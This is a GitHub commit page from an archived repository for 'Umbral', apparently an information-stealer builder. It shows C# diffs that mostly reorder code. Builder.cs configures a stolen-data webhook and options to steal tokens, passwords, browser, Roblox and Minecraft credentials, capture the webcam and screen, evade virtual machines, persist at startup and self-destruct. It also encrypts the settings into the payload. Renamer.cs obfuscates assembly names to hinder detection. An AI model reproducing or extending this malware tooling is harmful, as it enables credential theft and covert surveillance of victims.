Skip to content
This repository has been archived by the owner on Mar 2, 2024. It is now read-only.

Commit

Permalink
Fixed Opera and Opera GX path and refactored code.
Browse files Browse the repository at this point in the history
  • Loading branch information
Blank-c committed Apr 22, 2023
1 parent f1a9b63 commit ac0b8ee
Show file tree
Hide file tree
Showing 58 changed files with 2,911 additions and 2,650 deletions.
4 changes: 2 additions & 2 deletions Umbral.builder/App.config
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8" ?>
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
45 changes: 24 additions & 21 deletions Umbral.builder/Build/Builder.cs
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
using Jose;
using Mono.Cecil.Cil;
using Mono.Cecil;
using System;
using System;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Jose;
using Mono.Cecil;
using Mono.Cecil.Cil;
using Mono.Cecil.Rocks;
using Vestris.ResourceLib;

Expand All @@ -30,24 +30,24 @@ public class Builder
{
private const string Version = "v1.1";
private const string PayloadFile = "Umbral.payload";
public bool AntiVm;

public string Output;
public string Webhook;
public AssemblyInfo AssemblyInformation;
public bool CaptureScreenshot;
public bool CaptureWebcam;
public string IconPath;

public string Output;

public bool Ping;
public bool AntiVm;
public bool SelfDestruct;
public bool Startup;
public bool StealTokens;
public bool StealPasswords;
public bool StealCookies;
public bool StealRobloxCookies;
public bool StealMinecraftSession;
public bool CaptureScreenshot;
public bool SelfDestruct;
public bool CaptureWebcam;

public AssemblyInfo AssemblyInformation;
public bool StealPasswords;
public bool StealRobloxCookies;
public bool StealTokens;
public string Webhook;

public bool Build(TextBox textBox)
{
Expand All @@ -64,6 +64,7 @@ public bool Build(TextBox textBox)

try
{

#region ModifyInstructions

string tempFile = GenerateRandomString(10) + ".tmp";
Expand Down Expand Up @@ -191,6 +192,7 @@ public bool Build(TextBox textBox)

if (File.Exists(IconPath) && IconPath.ToLower().EndsWith(".ico") && File.Exists(tempFile))
{

#region ModifyIcon

textBox.AppendText("\r\nApplying icon...");
Expand All @@ -199,6 +201,7 @@ public bool Build(TextBox textBox)
iconDirectoryResource.SaveTo(tempFile);

#endregion

}

if (File.Exists(Output))
Expand All @@ -224,19 +227,19 @@ public bool Build(TextBox textBox)
return false;
}

private static string GenerateRandomString(int length)
static private string GenerateRandomString(int length)
{
var random = new Random();
var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
var result = new StringBuilder();
Random random = new Random();
string chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
StringBuilder result = new StringBuilder();

for (var i = 0; i < length; i++)
for (int i = 0; i < length; i++)
result.Append(chars[random.Next(0, chars.Length)]);

return result.ToString();
}

private static string Encrypt(string value, byte[] key, byte[] iv)
static private string Encrypt(string value, byte[] key, byte[] iv)
{
byte[][] structure = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(value));

Expand Down
65 changes: 35 additions & 30 deletions Umbral.builder/Build/Renamer.cs
Original file line number Diff line number Diff line change
@@ -1,25 +1,19 @@
// https://github.com/quasar/Quasar/blob/master/Quasar.Server/Build/Renamer.cs

using Mono.Cecil;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Mono.Cecil;

namespace Umbral.builder.Build
{
public class Renamer
{
/// <summary>
/// Contains the assembly definition.
/// </summary>
public AssemblyDefinition AsmDef { get; set; }

private int Length { get; set; }
private MemberOverloader _typeOverloader;
private Dictionary<TypeDefinition, MemberOverloader> _methodOverloaders;
private Dictionary<TypeDefinition, MemberOverloader> _fieldOverloaders;
private Dictionary<TypeDefinition, MemberOverloader> _eventOverloaders;
private readonly Dictionary<TypeDefinition, MemberOverloader> _eventOverloaders;
private readonly Dictionary<TypeDefinition, MemberOverloader> _fieldOverloaders;
private readonly Dictionary<TypeDefinition, MemberOverloader> _methodOverloaders;
private readonly MemberOverloader _typeOverloader;

public Renamer(AssemblyDefinition asmDef)
: this(asmDef, 20)
Expand All @@ -28,16 +22,23 @@ public Renamer(AssemblyDefinition asmDef)

public Renamer(AssemblyDefinition asmDef, int length)
{
this.AsmDef = asmDef;
this.Length = length;
_typeOverloader = new MemberOverloader(this.Length);
AsmDef = asmDef;
Length = length;
_typeOverloader = new MemberOverloader(Length);
_methodOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
_fieldOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
_eventOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
}

/// <summary>
/// Attempts to modify the assembly definition data.
/// Contains the assembly definition.
/// </summary>
public AssemblyDefinition AsmDef { get; set; }

private int Length { get; }

/// <summary>
/// Attempts to modify the assembly definition data.
/// </summary>
/// <returns>True if the operation succeeded; False if the operation failed.</returns>
public bool Perform()
Expand All @@ -48,6 +49,7 @@ public bool Perform()
{
RenameInType(typeDef);
}

return true;
}
catch
Expand Down Expand Up @@ -75,9 +77,9 @@ private void RenameInType(TypeDefinition typeDef)

if (typeDef.HasMethods)
foreach (MethodDefinition methodDef in
typeDef.Methods.Where(methodDef =>
!methodDef.IsConstructor && !methodDef.HasCustomAttributes &&
!methodDef.IsAbstract && !methodDef.IsVirtual))
typeDef.Methods.Where(methodDef =>
!methodDef.IsConstructor && !methodDef.HasCustomAttributes &&
!methodDef.IsAbstract && !methodDef.IsVirtual))
methodOverloader.GiveName(methodDef);

if (typeDef.HasFields)
Expand All @@ -91,38 +93,37 @@ private void RenameInType(TypeDefinition typeDef)

private MemberOverloader GetMethodOverloader(TypeDefinition typeDef)
{
return GetOverloader(this._methodOverloaders, typeDef);
return GetOverloader(_methodOverloaders, typeDef);
}

private MemberOverloader GetFieldOverloader(TypeDefinition typeDef)
{
return GetOverloader(this._fieldOverloaders, typeDef);
return GetOverloader(_fieldOverloaders, typeDef);
}

private MemberOverloader GetEventOverloader(TypeDefinition typeDef)
{
return GetOverloader(this._eventOverloaders, typeDef);
return GetOverloader(_eventOverloaders, typeDef);
}

private MemberOverloader GetOverloader(Dictionary<TypeDefinition, MemberOverloader> overloaderDictionary,
TypeDefinition targetTypeDef)
TypeDefinition targetTypeDef)
{
MemberOverloader overloader;
if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader))
{
overloader = new MemberOverloader(this.Length);
overloader = new MemberOverloader(Length);
overloaderDictionary.Add(targetTypeDef, overloader);
}

return overloader;
}

private class MemberOverloader
{
private bool DoRandom { get; set; }
private int StartingLength { get; set; }
private readonly Dictionary<string, string> _renamedMembers = new Dictionary<string, string>();
private readonly char[] _charMap;
private readonly Random _random = new Random();
private readonly Dictionary<string, string> _renamedMembers = new Dictionary<string, string>();
private int[] _indices;

public MemberOverloader(int startingLength, bool doRandom = true)
Expand All @@ -132,12 +133,15 @@ public MemberOverloader(int startingLength, bool doRandom = true)

private MemberOverloader(int startingLength, bool doRandom, char[] chars)
{
this._charMap = chars;
this.DoRandom = doRandom;
this.StartingLength = startingLength;
this._indices = new int[startingLength];
_charMap = chars;
DoRandom = doRandom;
StartingLength = startingLength;
_indices = new int[startingLength];
}

private bool DoRandom { get; }
private int StartingLength { get; }

public void GiveName(MemberReference member)
{
string currentName = GetCurrentName();
Expand All @@ -147,6 +151,7 @@ public void GiveName(MemberReference member)
{
member.Name = GetCurrentName();
}

_renamedMembers.Add(originalName, member.ToString());
}

Expand Down
6 changes: 3 additions & 3 deletions Umbral.builder/MainForm.cs
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ public MainForm()
}

[DllImport("DwmApi")] //System.Runtime.InteropServices
private static extern int DwmSetWindowAttribute(IntPtr hwnd, int attr, int[] attrValue, int attrSize);
static extern private int DwmSetWindowAttribute(IntPtr hwnd, int attr, int[] attrValue, int attrSize);

protected override void OnHandleCreated(EventArgs e)
{
Expand All @@ -22,7 +22,7 @@ protected override void OnHandleCreated(EventArgs e)

private void GeneralTabButton_Click(object sender, EventArgs e)
{

assemblyTab.Hide();
builderTab.Hide();
aboutTab.Hide();
Expand Down Expand Up @@ -81,4 +81,4 @@ private void Form1_Load(object sender, EventArgs e)
generalTab.Show();
}
}
}
}
Loading

0 comments on commit ac0b8ee

Please sign in to comment.